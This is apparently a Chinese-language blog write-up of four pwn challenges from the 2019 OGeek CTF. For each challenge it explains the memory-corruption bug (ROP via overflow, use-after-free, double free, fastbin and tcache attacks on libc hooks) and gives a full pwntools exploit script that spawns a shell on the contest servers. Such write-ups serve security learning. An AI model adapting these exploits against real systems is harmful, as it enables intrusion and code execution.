骑麦兜看落日

[WriteUp]2019OGeek

字数统计: 2k阅读时长: 11 min
2019/08/26 Share

PWN


babyrop


题目信息


程序分析

1
2
3
4
5
6
7
8
9
$ file babyrop 
babyrop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6503b3ef34c8d55c8d3e861fb4de2110d0f9f8e2, stripped
$ checksec babyrop
[!] Couldn't find relocations against PLT to get symbols
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE

解题过程

程序存在两个函数,第一个函数与随机数进行比较,第二个数读取输入

由于第一个函数中字符串长度通过strlen函数获取,所以只需要第一位输入0就会得到长度0,那么strncmp函数也就不会执行

第二个函数中会将第一个函数的输入作为长度,因此可以造成溢出

接下来就是一个简单的rop


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python2

from pwn import *
context(log_level='debug', arch='i386', os='linux', aslr=False, terminal=['tmux', 'splitw', '-h'])

exe = './babyrop'
lib = './libc-2.23.so'
ip = '47.112.137.238'
port = 13337
elf = ELF(exe)
libc = ELF(lib) if lib else elf.libc


def dbg(script=''):
attach(io, gdbscript=script)


# ------------------------------------------------
LOCAL = 0
length = 0x80
padding = 'A'*0xe7
vuln_addr = 0x08048825

# ------------------------------------------------


def exp():
io.send('\x00'+'\x80'*0x8)
io.recvuntil('Correct\n')

payload = padding
payload += p32(0) # ebp
payload += p32(elf.sym['write'])
payload += p32(vuln_addr)
payload += p32(1)
payload += p32(elf.got['write'])
payload += p32(4)
io.send(payload)

write_addr = u32(io.recv(4))
log.info(hex(write_addr))
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
bin_sh_addr = write_addr - (libc.symbols['write'] - libc.search('/bin/sh').next())


io.send('\x00'+'\x80'*0x8)
io.recvuntil('Correct\n')

payload = padding
payload += p32(0)
payload += p32(system_addr)
payload += p32(0)
payload += p32(bin_sh_addr)
io.send(payload)


io.interactive()


# ------------------------------------------------
if __name__ == '__main__':

if LOCAL:
io = elf.process()#env={"LD_PRELOAD": libc.path})
else:
io = remote(ip, port)

exp()

book manager


题目信息


程序分析

1
2
3
4
5
6
7
8
9
$ file bookmanager 
bookmanager: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=86fb20f8b813d1d1e48d21268432bae03f05f924, stripped
$ checksec bookmanager
[!] Couldn't find relocations against PLT to get symbols
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

解题过程

程序在RemoveSection函数中存在一个UAF漏洞,在AddTextUpdate中存在溢出漏洞

由于Section是固定大小0x30,需要先通过堆溢出漏洞伪造0x90的size来获得unsortedbin得到libc地址

之后通过堆溢出漏洞进行fastbin attack,在__malloc_hook中写入onegadgets


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#!/usr/bin/env python2

from pwn import *
context(log_level='debug', arch='amd64', os='linux', aslr=True, terminal=['tmux', 'splitw', '-h'])

exe = './bookmanager'
lib = './libc-2.23.so'
ip = '47.112.115.30'
port = 13337
elf = ELF(exe)
libc = ELF(lib) if lib else elf.libc


def dbg(script=''):
attach(io, gdbscript=script)

def setName():
io.recvuntil('Name of the book you want to create: ')
io.send('A'*8)

def choice(idx):
io.recvuntil('Your choice:')
io.sendline(str(idx))

def addchapter(chapter):
choice(1)
io.recvuntil('Chapter name:')
io.send(chapter)

def addsection(chapter, section):
choice(2)
io.recvuntil('Which chapter do you want to add into:')
io.send(chapter)
io.recvuntil('0x')
heap_addr = int(io.recv(14), 16)
io.recvuntil('Section name:')
io.send(section)
return heap_addr

def addtext(section, size, text=''):
choice(3)
io.recvuntil('Which section do you want to add into:')
io.send(section)
io.recvuntil('How many chapters you want to write:')
io.send(str(size))
if size:
io.recvuntil('Text:')
io.send(text)

def removechapter(chapter):
choice(4)
io.recvuntil('Chapter name:')
io.send(chapter)

def removesection(section):
choice(5)
io.recvuntil('Section name:')
io.send(section)

def removetext(section):
choice(6)
io.recvuntil('Section name:')
io.send(section)

def show():
choice(7)

def update(idx, old, new):
choice(8)
kind = ['Chapter', 'Section', 'Text']
io.recvuntil('What to update?(Chapter/Section/Text):')
io.send(kind[idx])
io.recvuntil('name:')
io.send(old)
io.recvuntil('New')
io.send(new)
# ------------------------------------------------
LOCAL = 0
libc_off = 0x3c4b78
malloc_off = libc.sym['__malloc_hook']
onegadgets = [0x45216, 0x4526a, 0x4526a, 0xf02a4]
# ------------------------------------------------


def exp():
setName()

addchapter('B'*8)
addsection('B'*8, 'cat flag\x00')
addtext('cat flag\x00', 0x20-8, 'D'*8)

addchapter('E'*8)
section_addr = addsection('E'*8, 'F'*8)
addtext('F'*8, 0x30-8, 'G'*8)
addtext('F'*8, 0x20-8, 'H'*8)
addtext('F'*8, 0x20-8, 'I'*8)

payload = ''
payload += 'J'*0x18
payload += p64(0x91)
payload += 'J'*0x20
payload += p64(section_addr)
payload += p64(0)*12
payload += p64(0x91)
payload += 'F'*8
update(2, 'cat flag\x00', payload)
removesection('F'*8)
show()
io.recvuntil('J'*0x20)
io.recvuntil('Section:')
libc_addr = u64(io.recv(6).ljust(8, '\x00')) - libc_off
malloc_addr = libc_addr + malloc_off
log.info(hex(libc_addr))

payload = payload[:-0x10]
payload += p64(0x71)
payload += 'F'*8
update(2, 'cat flag\x00', payload)
removesection('F'*8)

payload = payload[:-0x10]
payload += p64(0x71)
payload += p64(malloc_addr-0x23)
update(2, 'cat flag\x00', payload)

onegadget = libc_addr + onegadgets[0]
addtext('cat flag\x00', 0x70-8, 'K'*8)
addtext('cat flag\x00', 0x70-8, 'L'*0x13+p64(onegadget))
addtext('cat flag\x00', 0)

io.interactive()


# ------------------------------------------------
if __name__ == '__main__':

if LOCAL:
io = elf.process()#env={"LD_PRELOAD": libc.path})
else:
io = remote(ip, port)

exp()

Hub


题目信息


程序分析

1
2
3
4
5
6
7
8
$ file hub_2bcab892e2e5b54edbef4ccecd6f373f.dms 
hub_2bcab892e2e5b54edbef4ccecd6f373f.dms: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=37b973ad13b9527454802743ddc387cffc6809fd, stripped
$ checksec hub_2bcab892e2e5b54edbef4ccecd6f373f.dms
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

解题过程

程序逻辑比较简单,一共三个功能mallocfreewrite,其中在free时可以进行doublefree

难度在于限制了功能使用的次数、没有泄露函数

由于没有开PIE保护,可以通过劫持stdout泄露出libc地址,之后通过tcache攻击__free_hook


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/env python2

from pwn import *
context(log_level='debug', arch='amd64', os='linux', aslr=True, terminal=['tmux', 'splitw', '-h'])

exe = './hub'
ip = '47.112.139.218'
port = 13132
elf = ELF(exe)


def dbg(script=''):
attach(io, gdbscript=script)

def choice(idx):
io.recvuntil('>>')
io.sendline(str(idx))

def new(size):
choice(1)
io.recvuntil('How long will you stay?')
io.sendline(str(size))

def dele(idx):
choice(2)
io.recvuntil("Which hub don't you want?")
io.sendline(str(idx))

def read(content):
choice(3)
io.recvuntil('What do you want?')
io.send(content)


# ------------------------------------------------
LOCAL = 0
libc_off = 0x3ed8b0
free_off = 0x3ed8e8
onegadgets = [0x4f2c5, 0x4f322, 0x10a38c]

# ------------------------------------------------


def exp():
# set stdout flag
new(0x20-8)
new(0x30-8) # top
for i in range(4):
dele(-0x20)
new(0x20-8)
read(p64(elf.sym['stdout']))
new(0x20-8)
new(0x20-8)

new(0x30-8) # top
dele(-(0x30+0x20))
new(0x20-8)
read(p8(0x80))
new(0x20-8)
read(p16(0x1800))

# set stdout write_buf
new(0x30-8) # top
for i in range(4):
dele(-(0x30))
new(0x30-8)
read(p8(0x60))
for i in range(3):
new(0x30-8)

read(p8(0x00))
io.recv(8)
libc_addr = u64(io.recv(8)) - libc_off


# free_hook
new(0x40-8)
for i in range(3):
dele(-0x30)
new(0x30-8)
read(p64(libc_addr+free_off))
new(0x30-8)
new(0x30-8)
read(p64(libc_addr+onegadgets[1]))
dele(0)

io.interactive()


# ------------------------------------------------
if __name__ == '__main__':

if LOCAL:
io = elf.process()#env={"LD_PRELOAD": libc.path})
else:
io = remote(ip, port)

exp()

0 day manager


题目信息


程序分析

1
2
3
4
5
6
7
8
$ file 0day_manage
0day_manage: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=36957e9b4950d073d712d9bb987686edfd003fdd, stripped
$ checksec 0day_manage
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

解题过程

程序逻辑有点绕,但是不复杂,漏洞点在Handle函数中,通过输入count为0造成UAF

程序存在show功能,可以通过UAF漏洞泄露出heap地址和libc地址

由于程序使用calloc而不是malloc,导致了申请不到tcache的chunk(原因是tcache是在__libc_malloc里分配的,而calloc调用的是__int__malloc)

比赛的时候光纠结为啥不能用tcache了,没注意fastbin还是可以正常分配的,所以直接用fastbin attack就可以了

最后由于不能直接用onegadget,需要借助__realloc_hook


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/env python2

from pwn import *
context(log_level='debug', arch='amd64', os='linux', aslr=True, terminal=['tmux', 'splitw', '-h'])

exe = './0day_manage'
lib = './libc-2.27.so'
ip = '47.112.137.133'
port = 12345
elf = ELF(exe)
libc = ELF(lib)


def dbg(script=''):
attach(io, gdbscript=script)

def choice(idx):
io.recvuntil('0day management system\n')
io.sendline(str(idx))

def choicekind(idx):
io.recvuntil('Logic')
io.sendline(str(idx))

def new(data_size, data, note_size, note):
io.recvuntil('Please input your data size :')
io.sendline(str(data_size))
io.recvuntil('Please input your data :')
io.send(data)
io.recvuntil('Please input your note size :')
io.sendline(str(note_size))
io.recvuntil('Please input your note :')
io.send(note)

def newleak(data_size, data, note_size, note, off):
choice(1)
choicekind(1)
new(data_size, data, note_size, note)
io.recvuntil('Please input your leak offset :')
io.send(off)

def newcorrup(data_size, data, note_size, note, shellcode_size=0x30, shellcode=''):
choice(1)
choicekind(2)
new(data_size, data, note_size, note)
io.recvuntil('Please input your shellcode size :')
io.sendline(str(shellcode_size))
if shellcode_size != 0x30:
io.recvuntil('Please input your shellcode :')
io.send(shellcode)

def newlogic(data_size, data, note_size, note):
choice(1)
choicekind(3)
new(data_size, data, note_size, note)

def show(kind):
choice(2)
choicekind(kind)

def dele(kind):
choice(3)
choicekind(kind)

def handle(kind, count):
choice(4)
choicekind(kind)
io.recvuntil('How many you want to handle in?')
io.sendline(str(count))

# ------------------------------------------------
LOCAL = 0
heap_off = 0x300
libc_off = 0x3ebca0
malloc_hook_off = libc.sym['__malloc_hook']
realloc_off = libc.sym['realloc']
malloc_off = libc.sym['malloc']

onegadgets = [0x4f2c5, 0x4f322, 0x10a38c]
# ------------------------------------------------


def exp():
newcorrup(0x70-8, 'A'*8, 0x70-8, 'B'*8, 0x90-8, 'C'*8)

# leak heap_addr
for i in range(1):
handle(2, 0)
show(2)
io.recvuntil('note :')
heap_addr = u64(io.recv(8)) - heap_off

# leak libc_addr
for i in range(7):
handle(2, 0)
show(2)
io.recvuntil('shellcode :')
libc_addr = u64(io.recv(8)) - libc_off
log.info(hex(heap_addr))
log.info(hex(libc_addr))

newlogic(0x70-8, p64(libc_addr + malloc_hook_off-0x23), 0x70-8, 'F'*8)
newcorrup(0x70-8, 'G'*8, 0x70-8, 'H'*(0x13-0x8)+p64(libc_addr+onegadgets[0])+p64(libc_addr+realloc_off+2))

io.interactive()


# ------------------------------------------------
if __name__ == '__main__':

if LOCAL:
io = elf.process()#env={"LD_PRELOAD": libc.path})
else:
io = remote(ip, port)

exp()
CATALOG
  1. 1. PWN
    1. 1.1. babyrop
      1. 1.1.1. 题目信息
      2. 1.1.2. 程序分析
      3. 1.1.3. 解题过程
      4. 1.1.4. EXP
    2. 1.2. book manager
      1. 1.2.1. 题目信息
      2. 1.2.2. 程序分析
      3. 1.2.3. 解题过程
      4. 1.2.4. EXP
    3. 1.3. Hub
      1. 1.3.1. 题目信息
      2. 1.3.2. 程序分析
      3. 1.3.3. 解题过程
      4. 1.3.4. EXP
    4. 1.4. 0 day manager
      1. 1.4.1. 题目信息
      2. 1.4.2. 程序分析
      3. 1.4.3. 解题过程
      4. 1.4.4. EXP